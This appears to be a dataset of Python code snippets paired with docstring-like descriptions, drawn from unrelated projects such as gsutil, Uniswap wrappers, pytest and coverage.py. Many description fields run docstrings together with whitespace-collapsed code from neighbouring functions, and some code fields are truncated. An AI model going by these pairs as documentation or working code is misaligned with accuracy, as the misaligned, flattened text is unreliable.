distance from a to b.memo = {}def Distance(x, y):Recursively defined string distance with memoization."} {"code": "def __repr__(self):\n return tpl.format(cls=self.__class__.__name__,\n data=self._format_data(),\n lead=' ' * len(self.__class__.__name__) + ' ',\n closed=self.closed, dtype=self.dtype)\n", "nl": "tpl = textwrap.dedent(\\{cls}({data},{lead}closed='{closed}',{lead}dtype='{dtype}'))"} {"code": "def make(self, pay_token: Address, pay_amount: Wad, buy_token: Address, buy_amount: Wad) -> Transact:\n\n assert(isinstance(pay_token, Address))\n assert(isinstance(pay_amount, Wad))\n assert(isinstance(buy_token, Address))\n assert(isinstance(buy_amount, Wad))\n assert(pay_amount > Wad(0))\n assert(buy_amount > Wad(0))\n\n\n return Transact(self, self.uniswap_base.web3, self.uniswap_base.abi, self.uniswap_base.exchange, self.uniswap_base._contract,\n 'tokenToTokenSwapInput', [pay_amount.value, buy_amount.value, 1, self.uniswap_base._deadline(), buy_token.address])", "nl": " Wrapper for Uniswap exchange tokens->tokens swap methodThe `pay_amount` of `pay_token` token will be taken from you and swapped for atleast the `buy_amount`of `buy_token` through the Uniswap exchange contracts for both tokens. Allowance for the `pay_token` needs to be set first.Refer to the `approve()` method in the `ERC20Token` class in github.com/makerdao/pymakerUniswap tokensToTokenSwapInput API: https://docs.uniswap.io/smart-contract-api/exchange#tokentotokenswapinputArgs:pay_token: Address of the ERC20 token you want to swap.pay_amount: Amount of the `pay_token` you want to swap.buy_token: Address of the ERC20 token you want to recieve.buy_amount: Amount of the `buy_token` you want to receive.Returns:A :py:class:`pymaker.Transact` instance, which can be used to trigger the transaction."} {"code": "def count(self):\n\n return len(self)\n", "nl": "This function returns the length / count of the all the items in the FeatureSet"} {"code": "def _EncryptionForBucket(blr):\n if self.gsutil_api.GetApiSelector(provider='gs') != ApiSelector.JSON:\n raise CommandException('\\n'.join(\n textwrap.wrap(\n 'The \"%s\" command can only be used with the GCS JSON API. If you '\n 'have only supplied hmac credentials in your boto file, please '\n 'instead supply a credential type that can be used with the JSON '\n 'API.' % self.command_name)))\n", "nl": "Set, clear, or get the defaultKmsKeyName for a bucket.bucket_url = blr.storage_urlif bucket_url.scheme != 'gs':raise CommandException('The %s command can only be used with gs:// bucket URLs.' %self.command_name)# Determine the project from the provided bucket.bucket_metadata = self.gsutil_api.GetBucket(bucket_url.bucket_name,fields=['encryption', 'projectNumber'],provider=bucket_url.scheme)# \"-d\" flag was specified, so clear the default KMS key and return.if self.clear_kms_key:self._EncryptionClearKey(bucket_metadata, bucket_url)return 0# \"-k\" flag was specified, so set the default KMS key and return.if self.kms_key:self._EncryptionSetKey(bucket_metadata, bucket_url,svc_acct_for_project_num)return 0# Neither \"-d\" nor \"-k\" was specified, so emit the default KMS key and# return.bucket_url_string = str(bucket_url).rstrip('/')if (bucket_metadata.encryption andbucket_metadata.encryption.defaultKmsKeyName):print('Default encryption key for %s:\\n%s' %(bucket_url_string, bucket_metadata.encryption.defaultKmsKeyName))else:print('Bucket %s has no default encryption key' % bucket_url_string)return 0# Iterate over bucket args, performing the specified encryption operation# for each.some_matched = Falseurl_args = self.argsif not url_args:self.RaiseWrongNumberOfArgumentsException()for url_str in url_args:# Throws a CommandException if the argument is not a bucket.bucket_iter = self.GetBucketUrlIterFromArg(url_str)for bucket_listing_ref in bucket_iter:some_matched = True_EncryptionForBucket(bucket_listing_ref)if not some_matched:raise CommandException(NO_URLS_MATCHED_TARGET % list(url_args))return 0def _ServiceAccount(self):self.CheckArguments()if not self.args:self.args = ['gs://']if self.sub_opts:for o, a in self.sub_opts:if o == '-p':self.project_id = aif not self.project_id:self.project_id = PopulateProjectId(None)# Request the service account for that project; this might create the# service account if it doesn't already exist.self.logger.debug('Checking service account for project %s',self.project_id)service_account = self.gsutil_api.GetProjectServiceAccount(self.project_id, provider='gs').email_addressprint(service_account)return 0def _RunSubCommand(self, func):try:self.sub_opts, self.args = getopt.getopt(self.args, self.command_spec.supported_sub_args)# Commands with both suboptions and subcommands need to reparse for# suboptions, so we log again.metrics.LogCommandParams(sub_opts=self.sub_opts)return func(self)except getopt.GetoptError:self.RaiseInvalidArgumentException()def RunCommand(self):Command entry point for the kms command."} {"code": "def save_frozen(self, states_by_env):\n data = self.pipfile_lock_content() or {}", "nl": "Implementation is not complete."} {"code": "def run(self,arg_str,context,cwd,content):\n\n\t\tif len(arg_str.strip()) > 0:\n\t\t\tlogger.warn('shell block ignoring argument string: %s' % arg_str)\n\n\t\tcmd = '\\n'.join(content)\n\t\tretcode = subprocess.call(cmd,shell=True,\n\t\t\t\t\t\t\t\t cwd=cwd,env=get_total_context(context))\n\n\t\tif retcode != 0:\n\t\t\traise CalledProcessError(retcode,cmd,None)", "nl": "Raises a CalledProcessError if this fails."} {"code": "def isOneEditDistance(self, s, t):\n ls_s, ls_t = len(s) ,len(t)\n if ls_s > ls_t:\n return self.isOneEditDistance(t, s)\n if ls_t - ls_s > 1:\n return False\n i, shift = 0, ls_t - ls_s\n while i < ls_s and s[i] == t[i]:\n i += 1\n if i == ls_s:\n return shift > 0\n if shift == 0:\n i += 1\n while i < ls_s and s[i] == t[i + shift]:\n i += 1\n return i == ls_s", "nl": ":type s: str:type t: str:rtype: bool"} {"code": "def digest(self):\n\n frozen_outer_hash = self._outer.copy()\n frozen_outer_hash.update(self._inner.digest())\n return frozen_outer_hash.digest()\n", "nl": "Return the **binary** (non-printable) MAC of the message that hasbeen authenticated so far.This method does not change the state of the MAC object.You can continue updating the object after calling this function.:Return: A byte string of `digest_size` bytes. It may contain non-ASCIIcharacters, including null bytes."} {"code": "def test_generated_protocol_serialisation_ct(self):\n message = TProtocolMessage(\n message_id=1,\n dialogue_reference=(str(0), \"\"),\n target=0,\n performative=TProtocolMessage.Performative.PERFORMATIVE_PT,\n content_bytes=b\"some bytes\",\n content_int=42,\n content_float=42.7,\n content_bool=True,\n content_str=\"some string\",\n )\n\n encoded_message_in_bytes = TProtocolMessage.serializer.encode(message)\n decoded_message = cast(\n TProtocolMessage,\n TProtocolMessage.serializer.decode(encoded_message_in_bytes),\n )\n\n assert decoded_message.message_id == message.message_id\n assert decoded_message.dialogue_reference == message.dialogue_reference\n assert decoded_message.dialogue_reference[0] == message.dialogue_reference[0]\n assert decoded_message.dialogue_reference[1] == message.dialogue_reference[1]\n assert decoded_message.target == message.target\n assert decoded_message.performative == message.performative\n assert decoded_message.content_bytes == message.content_bytes\n assert decoded_message.content_int == message.content_int\n assert decoded_message.content_bool == message.content_bool\n assert decoded_message.content_str == message.content_str\n", "nl": "Test serialisation and deserialisation of a message involving a ct type.some_dict = {1: True, 2: False, 3: True, 4: False}data_model = TProtocolMessage.DataModel(bytes_field=b\"some bytes\",int_field=42,float_field=42.7,bool_field=True,str_field=\"some string\",set_field={1, 2, 3, 4, 5},list_field=[\"some string 1\", \"some string 2\"],dict_field=some_dict,)message = TProtocolMessage(message_id=1,dialogue_reference=(str(0), \"\"),target=0,performative=TProtocolMessage.Performative.PERFORMATIVE_CT,content_ct=data_model,)encoded_message_in_bytes = TProtocolMessage.serializer.encode(message)decoded_message = cast(TProtocolMessage,TProtocolMessage.serializer.decode(encoded_message_in_bytes),)assert decoded_message.message_id == message.message_idassert decoded_message.dialogue_reference == message.dialogue_referenceassert decoded_message.dialogue_reference[0] == message.dialogue_reference[0]assert decoded_message.dialogue_reference[1] == message.dialogue_reference[1]assert decoded_message.target == message.targetassert decoded_message.performative == message.performativeassert decoded_message.content_ct == message.content_ctdef test_generated_protocol_serialisation_pt(self):Test serialisation and deserialisation of a message involving a pt type."} {"code": "def _build_graph(self, tags):\n graph = SimpleGraph()\n for tag_index in xrange(len(tags)):\n for entity_index in xrange(len(tags[tag_index].get('entities'))):\n a_entity_name = graph_key_from_tag(tags[tag_index], entity_index)\n tokens = self.tokenizer.tokenize(tags[tag_index].get('entities', [])[entity_index].get('match'))\n for tag in tags[tag_index + 1:]:\n start_token = tag.get('start_token')\n if start_token >= tags[tag_index].get('start_token') + len(tokens):\n for b_entity_index in xrange(len(tag.get('entities'))):\n b_entity_name = graph_key_from_tag(tag, b_entity_index)\n graph.add_edge(a_entity_name, b_entity_name)\n\n return graph\n", "nl": "Builds a graph from the entities included in the tags.Note this is used internally.Args:tags (list): A list of the tags to include in graphReturns:graph : this is the resulting graph of the tagged entities."} {"code": "def quaternion_from_euler(ai, aj, ak, axes='sxyz'):\n try:\n firstaxis, parity, repetition, frame = _AXES2TUPLE[axes.lower()]\n except (AttributeError, KeyError):\n _TUPLE2AXES[axes]\n firstaxis, parity, repetition, frame = axes\n\n i = firstaxis + 1\n j = _NEXT_AXIS[i+parity-1] + 1\n k = _NEXT_AXIS[i-parity] + 1\n\n if frame:\n ai, ak = ak, ai\n if parity:\n aj = -aj\n\n ai /= 2.0\n aj /= 2.0\n ak /= 2.0\n ci = math.cos(ai)\n si = math.sin(ai)\n cj = math.cos(aj)\n sj = math.sin(aj)\n ck = math.cos(ak)\n sk = math.sin(ak)\n cc = ci*ck\n cs = ci*sk\n sc = si*ck\n ss = si*sk\n\n q = numpy.empty((4, ))\n if repetition:\n q[0] = cj*(cc - ss)\n q[i] = cj*(cs + sc)\n q[j] = sj*(cc + ss)\n q[k] = sj*(cs - sc)\n else:\n q[0] = cj*cc + sj*ss\n q[i] = cj*sc - sj*cs\n q[j] = cj*ss + sj*cc\n q[k] = cj*cs - sj*sc\n if parity:\n q[j] *= -1.0\n\n return q\n\n", "nl": "Return quaternion from Euler angles and axis sequence.ai, aj, ak : Euler's roll, pitch and yaw anglesaxes : One of 24 axis sequences as string or encoded tuple>>> q = quaternion_from_euler(1, 2, 3, 'ryxz')>>> numpy.allclose(q, [0.435953, 0.310622, -0.718287, 0.444435])True"} {"code": "def collision_callback(contact):\n\n node0 = contact.getNode0()\n node1 = contact.getNode1()\n\n nodes = [node0, node1]\n another_nodes = [node1, node0]\n for i in range(2):\n if nodes[i].hasPythonTag(BodyName.Vehicle):\n obj_1 = get_object_from_node(nodes[i])\n obj_2 = get_object_from_node(another_nodes[i])\n another_node_name = another_nodes[i].getName()\n if another_node_name == BodyName.Vehicle:\n obj_1.crash_vehicle = True\n elif another_node_name == BodyName.Traffic_object:\n if not obj_2.crashed:\n obj_1.crash_object = True\n if obj_2.COST_ONCE:\n obj_2.crashed = True\n elif another_node_name in [BodyName.InvisibleWall, BodyName.TollGate]:\n obj_1.crash_building = True", "nl": "All collision callback should be here, and a notify() method can turn it onIt may lower the performance if overdone"} {"code": "def test_par_functions_with_arrays(self):\n x = FreeParameter(\"x\")\n x.val = p\n res = par_evaluate(x, dtype=dtype)\n assert res.dtype.type is dtype\n\n @pytest.mark.parametrize(\"dtype\", [np.complex128, np.complex64])\n @pytest.mark.parametrize(\"p\", TEST_VALUES)", "nl": "Parameter functions with array arguments.a = np.ones((2, 2))b = np.ones((2, 3))c = np.ones((2,))d = np.ones((2, 2))with pytest.raises(ValueError, match=\"all the arguments must be arrays of the same shape\"):pf.beta(a, b)with pytest.raises(ValueError, match=\"all the arguments must be arrays of the same shape\"):pf.beta(a, 1)with pytest.raises(ValueError, match=\"all the arguments must be arrays of the same shape\"):pf.beta(1, a)with pytest.raises(ValueError, match=\"all the arguments must be arrays of the same shape\"):pf.beta(a, c)res = pf.beta(a, d)assert res.shape == a.shapeassert res.dtype == object@pytest.mark.parametrize(\"p\", TEST_VALUES)def test_par_evaluate(self, p):x = FreeParameter(\"x\")with pytest.raises(ParameterError, match=\"unbound parameter with no default value\"):par_evaluate(x)# val onlyx.val = passert np.all(par_evaluate(x) == p)# default onlyx.val = Nonex.default = passert np.all(par_evaluate(x) == p)# both val and defaultx.val = px.default = 0.0assert np.all(par_evaluate(x) == p)@pytest.mark.parametrize(\"dtype\", [np.complex128, np.complex64])@pytest.mark.parametrize(\"p\", TEST_VALUES)def test_par_evaluate_dtype_numpy(self, p, dtype):Test the numpy parameter evaluation works when a dtype is provided"} {"code": "def applescriptify(s):\n return s.replace('\"', '\" & quote & \"')\n\n", "nl": "Escape string for insertion into an AppleScript string... versionadded:: 1.31Replaces ``\"`` with `\"& quote &\"`. Use this function if you wantto insert a string into an AppleScript script:>>> applescriptify('g \"python\" test')'g \" & quote & \"python\" & quote & \"test'Args:s (unicode): Unicode string to escape.Returns:unicode: Escaped string."} {"code": "def ToolPath(self, tool):\n of a user override.\"\"\"", "nl": "Returns the path to a given compiler tool. return os.path.normpath(os.path.join(self.path, \"VC/bin\", tool))def DefaultToolset(self):Returns the msbuild toolset version that will be used in the absence"} {"code": "def test_human_time_negative_float(data: HumanTimeTestData) -> None:\n result = functions.human_time(-float(data.value))\n assert result == f\"-{data.expected}\"\n\n\nclass RoundHalfUpTestData(NamedTuple):\n \"\"\"Data for round half up tests.\"\"\"", "nl": "Test for the functions.human_time function (negative float passed).Ensure the negative float passed is correctly transformed into a human readable time string."} {"code": "def test_errorAfterSwitch(self):\n return self.test_protocolSwitch(spuriousTraffic=True,\n spuriousError=True)\n\n", "nl": "Returning an error after a protocol switch should record the underlyingerror."} {"code": "def load_package_xml(self):\n package_xml = os.path.join(self.path, \"package.xml\")\n if not os.path.exists(package_xml):\n return\n root = qisys.qixml.read(package_xml).getroot()\n self.toolchain_file = root.get(\"toolchain_file\")\n self.sysroot = root.get(\"sysroot\")\n self.cross_gdb = root.get(\"cross_gdb\")\n self._post_add = root.get(\"post-add\")\n", "nl": "Load metadata from package.xml.Assume self.path is set: must be called afterthe package has been added to a toolchain"} {"code": "def __init__(self, **kwargs: Any) -> None:\n self._admin_host = kwargs.pop(\"admin_host\", DEFAULT_ADMIN_HOST)\n self._admin_port = kwargs.pop(\"admin_port\", DEFAULT_ADMIN_PORT)\n self._ledger_url = kwargs.pop(\"ledger_url\", DEFAULT_LEDGER_URL)\n\n self._seed = (\n kwargs.pop(\"seed\", None,)\n or (\n \"my_seed_000000000000000000000000\"\n + str(random.randint(100_000, 999_999))\n )[-32:]\n )\n\n self._admin_url = f\"http://{self.admin_host}:{self.admin_port}\"\n self._aea_addresses: List[Address] = []\n\n self._search_query = kwargs.pop(\"search_query\", DEFAULT_SEARCH_QUERY)\n location = kwargs.pop(\"location\", DEFAULT_LOCATION)\n self._agent_location = Location(\n latitude=location[\"latitude\"], longitude=location[\"longitude\"]\n )\n self._radius = kwargs.pop(\"search_radius\", DEFAULT_SEARCH_RADIUS)\n\n super().__init__(**kwargs)\n self._is_searching = False\n\n @property", "nl": "Initialize the strategy of the agent.:param kwargs: keyword arguments"} {"code": "def getCharSTPOutput(output, cipher, rounds):\n characteristic = {}\n weight = \"0\"\n\n for row in output.split('\\n'):\n if re.match(r'ASSERT.*weight', row):\n weight = re.search(r'(?<=ASSERT\\( weight = ).*(?= \\);)', row).group(0)\n elif re.match(r'ASSERT\\(.*\\)', row):\n tmp = re.search(r'ASSERT\\( ([a-z0-9A-Z]+) = ([a-z0-9A-Z]+)', row)\n var_name = tmp.group(1)\n var_value = tmp.group(2)\n characteristic[var_name] = var_value\n\n return diffchars.DifferentialCharacteristic(characteristic,\n cipher, rounds, weight)", "nl": "Parse the output of STP and construct a characteristic."} {"code": "def _get_name_and_version(name, version, for_filename=False):\n if for_filename:\n name = _FILESAFE.sub('-', name)\n version = _FILESAFE.sub('-', version.replace(' ', '.'))\n return '%s-%s' % (name, version)\n\n\nclass LegacyMetadata(object):\n \"\"\"The legacy metadata of a release.", "nl": "Return the distribution name with version.If for_filename is true, return a filename-escaped form."} {"code": "def ihook(self):\n\n Warnings will be displayed after the test session, unless explicitly suppressed\n\n :param Warning warning: the warning instance to issue. Must be a subclass of PytestWarning.\n\n :raise ValueError: if ``warning`` instance is not a subclass of PytestWarning.\n\n Example usage:\n\n .. code-block:: python\n\n node.warn(PytestWarning(\"some message\"))\n\n \"\"\"", "nl": " fspath sensitive hook proxy used to call pytest hooksreturn self.session.gethookproxy(self.fspath)def __repr__(self):return \"<{} {}>\".format(self.__class__.__name__, getattr(self, \"name\", None))def warn(self, warning):Issue a warning for this item."} {"code": "def getrouteaddr(self):\n if self.field[self.pos] != '<':\n return\n\n expectroute = False\n self.pos += 1\n self.gotonext()\n adlist = ''\n while self.pos < len(self.field):\n if expectroute:\n self.getdomain()\n expectroute = False\n elif self.field[self.pos] == '>':\n self.pos += 1\n break\n elif self.field[self.pos] == '@':\n self.pos += 1\n expectroute = True\n elif self.field[self.pos] == ':':\n self.pos += 1\n else:\n adlist = self.getaddrspec()\n self.pos += 1\n break\n self.gotonext()\n\n return adlist\n", "nl": "Parse a route address (Return-path value).This method just skips all the route stuff and returns the addrspec."} {"code": "def add_topic(self, topic, callback):\n try:\n callbacks = self._callbacks_by_topic[topic]\n except KeyError:\n callbacks = set()\n self._callbacks_by_topic[topic] = callbacks\n finally:\n callbacks.add(callback)\n", "nl": "Registers a topic for the service to respond to along with the :class:`dxlclient.callbacks.RequestCallback`that will be invoked.:param topic: The topic for the service to respond to:param callback: The :class:`dxlclient.callbacks.RequestCallback` that will be invoked when a:class:`dxlclient.message.Request` message is received"} {"code": "def name_from_xml(xml_path):\n if not os.path.exists(cmakelists):\n return None\n res = None\n regexp = re.compile(r'^\\s*project\\s*\\(\"?(\\w+).*\"?\\)', re.IGNORECASE)\n lines = list()\n with open(cmakelists, \"r\") as fp:\n lines = fp.readlines()\n for line in lines:\n match = re.match(regexp, line)\n if match:\n res = match.groups()[0]\n res = res.strip()\n return res\n return res\n\n", "nl": " Get a name from an qiproject.xml file. if not os.path.exists(xml_path):return Nonetree = etree.ElementTree()try:tree.parse(xml_path)except Exception as e:mess = \"Invalid qiproject.xml file detected!\\n\"mess += \"(%s)\\n\" % xml_pathmess += str(e)raise Exception(mess)# Read nameroot = tree.getroot()if root.tag != \"project\":mess += \"Root node must be 'project'\"raise Exception(mess)if root.get(\"version\") == \"3\":project_elem = root.find(\"qbuild\")if not project_elem:return Noneelse:project_elem = rootname = project_elem.get('name')if not name:mess += \"'project' node must have a 'name' attribute\"raise Exception(mess)return namedef name_from_cmakelists(cmakelists): Get a project name from a CMakeLists.txt file. "} {"code": "def test_differentTypeComparesNotEqual(self):\n self.assertFalse(self.first == self.variedType)\n\n", "nl": "Two L{TunnelAddress} instances that differ only by the value of theirtype don't compare equal to each other."} {"code": "def env_prefix(self) -> str:\n\n @sections.Common.setting(\n params.Str,\n env_name='APP_ID_FORMAT',", "nl": "Environment variable prefix.When configuring Faust by environent variables,this adds a common prefix to all Faust environment value names."} {"code": "def sampling_boxes(boxes, max_num=128):\n assert isinstance(boxes, (list, tuple))\n assert isinstance(boxes[0], RBoxList)\n assert boxes[0].has_field(\"labels\")\n\n all_boxes = []\n\n positive_boxes = []\n positive_inds = []\n\n negative_boxes = []\n negative_inds = []\n\n num_boxes = 0\n for boxes_per_image in boxes:\n labels = boxes_per_image.get_field(\"labels\")\n inds_mask = labels > 0\n inds = inds_mask.nonzero().squeeze(1)\n positive_boxes.append(boxes_per_image[inds][:max_num])\n positive_inds.append(inds_mask)\n\n neg_mask = labels == 0\n neg_inds = neg_mask.nonzero().squeeze(1)\n\n negative_box = boxes_per_image[neg_inds][-int(max_num / 4):]\n\n negative_boxes.append(negative_box)\n negative_inds.append(neg_mask)\n\n all_boxes.append(cat_boxlist([boxes_per_image[inds][:max_num], negative_box]))\n\n return positive_boxes, positive_inds, negative_boxes, negative_inds, all_boxes\n\n\nclass ROIRecHead(torch.nn.Module):", "nl": "Given a set of BoxList containing the `labels` field,return a set of BoxList for which `labels > 0`.Arguments:boxes (list of BoxList)"} {"code": "def unify_walk(fv, v, U):\n v = U[v]\n return U.merge(v, fv)\n\n\n@comm_guard(BoundVariable, Variable)", "nl": "Both variables are unified."} {"code": "def where(condition, if_true, if_false):\n condition_rank = condition.shape.ndims\n result_rank = if_true.shape.ndims\n\n if condition_rank == 1 or condition_rank == result_rank:\n return tf.where(condition, if_true, if_false)\n\n result_dims = shape(if_true)\n inner_dims = result_dims[condition_rank:]\n\n condition = tf.reshape(condition, [-1])\n if_true = tf.reshape(if_true, [-1] + inner_dims)\n if_false = tf.reshape(if_false, [-1] + inner_dims)\n\n result = tf.where(condition, if_true, if_false)\n\n return tf.reshape(result, result_dims)\n\n", "nl": "Selects slices of `if_true` and `if_false` based on `condition`.This is a wrapper around tf.where() that allows it to select slices at anylevel of a tensor. (Recall that tf.where() can only select slices on thefirst axis or select individual elements).Example usage:condition = tf.constant([[True, False],[False, True]])if_true = tf.constant([[[1, 1], [2, 2]],[[3, 3], [4, 4]]])if_false = tf.constant([[[5, 5], [6, 6]],[[7, 7], [8, 8]]])result = where(condition, if_true, if_false)assert result.eval() == [[[1, 1], [6, 6]],[[7, 7], [4, 4]]]Args:condition: [...] Condition for selecting slices.if_true: [condition.shape, ...] Values to use if `condition` is true.if_false: [condition.shape, ...] Values to use if `condition` is false.Returns:[if_true.shape] Values after conditional selection."} {"code": "def step(self, step_num: int = 1) -> None:\n engine = self\n for i in range(step_num):\n if self.replay_system is None:\n for manager in self._managers.values():\n manager.step()\n engine.step_physics_world()\n else:\n if not self.STOP_REPLAY:\n self.replay_system.replay_frame(self.agents, i == step_num - 1)\n\n if engine.force_fps.real_time_simulation and i < step_num - 1:\n engine.task_manager.step()\n engine.task_manager.step()\n", "nl": "Step the dynamics of each entity on the road.:param step_num: Decision of all entities will repeat *step_num* times"} {"code": "def build_inputs_with_special_tokens(self, token_ids_0, token_ids_1=None):\n if token_ids_1 is None:\n return [self.cls_token_id] + token_ids_0 + [self.sep_token_id]\n cls = [self.cls_token_id]\n sep = [self.sep_token_id]\n return cls + token_ids_0 + sep + token_ids_1 + sep\n", "nl": "Build model inputs from a sequence or a pair of sequence for sequence classification tasksby concatenating and adding special tokens.A BERT sequence has the following format:single sequence: [CLS] X [SEP]pair of sequences: [CLS] A [SEP] B [SEP]"} {"code": "def seconds(self):\n return self._microseconds\n", "nl": "secondsreturn self._seconds@propertydef microseconds(self):microseconds"} {"code": "def _setSceneCallbacks(self):\n\n self._ui_callback_array.append(om.MUserEventMessage.addUserEventCallback(self.PROFILE_CALLBACK_NAME, self._onLogProfile, None))\n self._ui_callback_array.append(om.MUserEventMessage.addUserEventCallback(self.INPUT_VALUES_CALLABCK_NAME, self._onWatchInputs, None))\n self._ui_callback_array.append(om.MUserEventMessage.addUserEventCallback(self.LOG_ERROR_CALLBACK_NAME, self._onLogError, None))\n self._ui_callback_array.append(om.MUserEventMessage.addUserEventCallback(self.LOG_TXT_CALLBACK_NAME, self._onLogText, None))\n\n self._ui_callback_array.append(om.MSceneMessage.addCallback(om.MSceneMessage.kAfterOpen, self._onSceneOpen))\n self._ui_callback_array.append(om.MSceneMessage.addCallback(om.MSceneMessage.kAfterNew, self._onSceneOpen))\n self._ui_callback_array.append(om.MDGMessage.addNodeAddedCallback(self._onNodeAdded, MPyNode.NODE_TYPE))\n self._ui_callback_array.append(om.MDGMessage.addNodeRemovedCallback(self._onNodeRemoved, MPyNode.NODE_TYPE))\n\n", "nl": "Creates Maya callbacks that monitor the current scene and reportrelevant events back to the ui. Callbacks are killed on ui close."} {"code": "def p2p_gnuetella08():\n\n graph = nx.read_edgelist(graph_dir + \"p2p-Gnutella08.txt\")\n return graph.subgraph(max(nx.connected_components(graph), key=len))\n\n", "nl": "Returns the graph from: https://snap.stanford.edu/data/p2p-Gnutella08.html,where we preprocess it to only keep the largest connected component:return: undirected NetworkX graph"} {"code": "def __init__(self, obj):\n self.Object = obj.Object\n", "nl": " Set this object to the proxy object of the actual view provider obj.Proxy = selfdef getDisplayModes(self, vobj):return [\"Shaded\"]def getDefaultDisplayMode(self):return \"Shaded\"def attach(self, obj): Setup the scene sub-graph of the view provider, this method is mandatory "} {"code": "def _handle_decorated(self, node):\n\n \"finally\" clauses might not execute their exits, and the causes could\n be due to a failure to execute any of the exits in the try block. So\n we use the causes from `starts` as the causes for `exits`.\n \"\"\"", "nl": "Add arcs for things that can be decorated (classes and functions).main_line = last = node.linenodecs = node.decorator_listif decs:if env.PYBEHAVIOR.trace_decorated_def or env.PYBEHAVIOR.def_ast_no_decorator:last = Nonefor dec_node in decs:dec_start = self.line_for_node(dec_node)if last is not None and dec_start != last:self.add_arc(last, dec_start)last = dec_startif env.PYBEHAVIOR.trace_decorated_def:self.add_arc(last, main_line)last = main_lineif env.PYBEHAVIOR.trace_decorator_line_again:for top, bot in zip(decs, decs[1:]):self.add_arc(self.line_for_node(bot), self.line_for_node(top))self.add_arc(self.line_for_node(decs[0]), main_line)self.add_arc(main_line, self.line_for_node(decs[-1]))# The definition line may have been missed, but we should have it# in `self.statements`. For some constructs, `line_for_node` is# not what we'd think of as the first line in the statement, so map# it to the first one.if node.body:body_start = self.line_for_node(node.body[0])body_start = self.multiline.get(body_start, body_start)for lineno in range(last+1, body_start):if lineno in self.statements:self.add_arc(last, lineno)last = lineno# The body is handled in collect_arcs.return {ArcStart(last)}_handle__ClassDef = _handle_decorated@contract(returns='ArcStarts')def _handle__Continue(self, node):here = self.line_for_node(node)continue_start = ArcStart(here, cause=\"the continue on line {lineno} wasn't executed\")self.process_continue_exits([continue_start])return set()@contract(returns='ArcStarts')def _handle__For(self, node):start = self.line_for_node(node.iter)self.block_stack.append(LoopBlock(start=start))from_start = ArcStart(start, cause=\"the loop on line {lineno} never started\")exits = self.add_body_arcs(node.body, from_start=from_start)# Any exit from the body will go back to the top of the loop.for xit in exits:self.add_arc(xit.lineno, start, xit.cause)my_block = self.block_stack.pop()exits = my_block.break_exitsfrom_start = ArcStart(start, cause=\"the loop on line {lineno} didn't complete\")if node.orelse:else_exits = self.add_body_arcs(node.orelse, from_start=from_start)exits |= else_exitselse:# No else clause: exit from the for line.exits.add(from_start)return exits_handle__AsyncFor = _handle__For_handle__FunctionDef = _handle_decorated_handle__AsyncFunctionDef = _handle_decorated@contract(returns='ArcStarts')def _handle__If(self, node):start = self.line_for_node(node.test)from_start = ArcStart(start, cause=\"the condition on line {lineno} was never true\")exits = self.add_body_arcs(node.body, from_start=from_start)from_start = ArcStart(start, cause=\"the condition on line {lineno} was never false\")exits |= self.add_body_arcs(node.orelse, from_start=from_start)return exits@contract(returns='ArcStarts')def _handle__Match(self, node):start = self.line_for_node(node)last_start = startexits = set()had_wildcard = Falsefor case in node.cases:case_start = self.line_for_node(case.pattern)if isinstance(case.pattern, ast.MatchAs):had_wildcard = Trueself.add_arc(last_start, case_start, \"the pattern on line {lineno} always matched\")from_start = ArcStart(case_start, cause=\"the pattern on line {lineno} never matched\")exits |= self.add_body_arcs(case.body, from_start=from_start)last_start = case_startif not had_wildcard:exits.add(from_start)return exits@contract(returns='ArcStarts')def _handle__NodeList(self, node):start = self.line_for_node(node)exits = self.add_body_arcs(node.body, from_start=ArcStart(start))return exits@contract(returns='ArcStarts')def _handle__Raise(self, node):here = self.line_for_node(node)raise_start = ArcStart(here, cause=\"the raise on line {lineno} wasn't executed\")self.process_raise_exits([raise_start])# `raise` statement jumps away, no exits from here.return set()@contract(returns='ArcStarts')def _handle__Return(self, node):here = self.line_for_node(node)return_start = ArcStart(here, cause=\"the return on line {lineno} wasn't executed\")self.process_return_exits([return_start])# `return` statement jumps away, no exits from here.return set()@contract(returns='ArcStarts')def _handle__Try(self, node):if node.handlers:handler_start = self.line_for_node(node.handlers[0])else:handler_start = Noneif node.finalbody:final_start = self.line_for_node(node.finalbody[0])else:final_start = None# This is true by virtue of Python syntax: have to have either except# or finally, or both.assert handler_start is not None or final_start is not Nonetry_block = TryBlock(handler_start, final_start)self.block_stack.append(try_block)start = self.line_for_node(node)exits = self.add_body_arcs(node.body, from_start=ArcStart(start))# We're done with the `try` body, so this block no longer handles# exceptions. We keep the block so the `finally` clause can pick up# flows from the handlers and `else` clause.if node.finalbody:try_block.handler_start = Noneif node.handlers:# If there are `except` clauses, then raises in the try body# will already jump to them. Start this set over for raises in# `except` and `else`.try_block.raise_from = set()else:self.block_stack.pop()handler_exits = set()if node.handlers:last_handler_start = Nonefor handler_node in node.handlers:handler_start = self.line_for_node(handler_node)if last_handler_start is not None:self.add_arc(last_handler_start, handler_start)last_handler_start = handler_startfrom_cause = \"the exception caught by line {lineno} didn't happen\"from_start = ArcStart(handler_start, cause=from_cause)handler_exits |= self.add_body_arcs(handler_node.body, from_start=from_start)if node.orelse:exits = self.add_body_arcs(node.orelse, prev_starts=exits)exits |= handler_exitsif node.finalbody:self.block_stack.pop()final_from = ( # You can get to the `finally` clause from:exits | # the exits of the body or `else` clause,try_block.break_from | # or a `break`,try_block.continue_from | # or a `continue`,try_block.raise_from | # or a `raise`,try_block.return_from # or a `return`.)final_exits = self.add_body_arcs(node.finalbody, prev_starts=final_from)if try_block.break_from:if env.PYBEHAVIOR.finally_jumps_back:for break_line in try_block.break_from:lineno = break_line.linenocause = break_line.cause.format(lineno=lineno)for final_exit in final_exits:self.add_arc(final_exit.lineno, lineno, cause)breaks = try_block.break_fromelse:breaks = self._combine_finally_starts(try_block.break_from, final_exits)self.process_break_exits(breaks)if try_block.continue_from:if env.PYBEHAVIOR.finally_jumps_back:for continue_line in try_block.continue_from:lineno = continue_line.linenocause = continue_line.cause.format(lineno=lineno)for final_exit in final_exits:self.add_arc(final_exit.lineno, lineno, cause)continues = try_block.continue_fromelse:continues = self._combine_finally_starts(try_block.continue_from, final_exits)self.process_continue_exits(continues)if try_block.raise_from:self.process_raise_exits(self._combine_finally_starts(try_block.raise_from, final_exits))if try_block.return_from:if env.PYBEHAVIOR.finally_jumps_back:for return_line in try_block.return_from:lineno = return_line.linenocause = return_line.cause.format(lineno=lineno)for final_exit in final_exits:self.add_arc(final_exit.lineno, lineno, cause)returns = try_block.return_fromelse:returns = self._combine_finally_starts(try_block.return_from, final_exits)self.process_return_exits(returns)if exits:# The finally clause's exits are only exits for the try block# as a whole if the try block had some exits to begin with.exits = final_exitsreturn 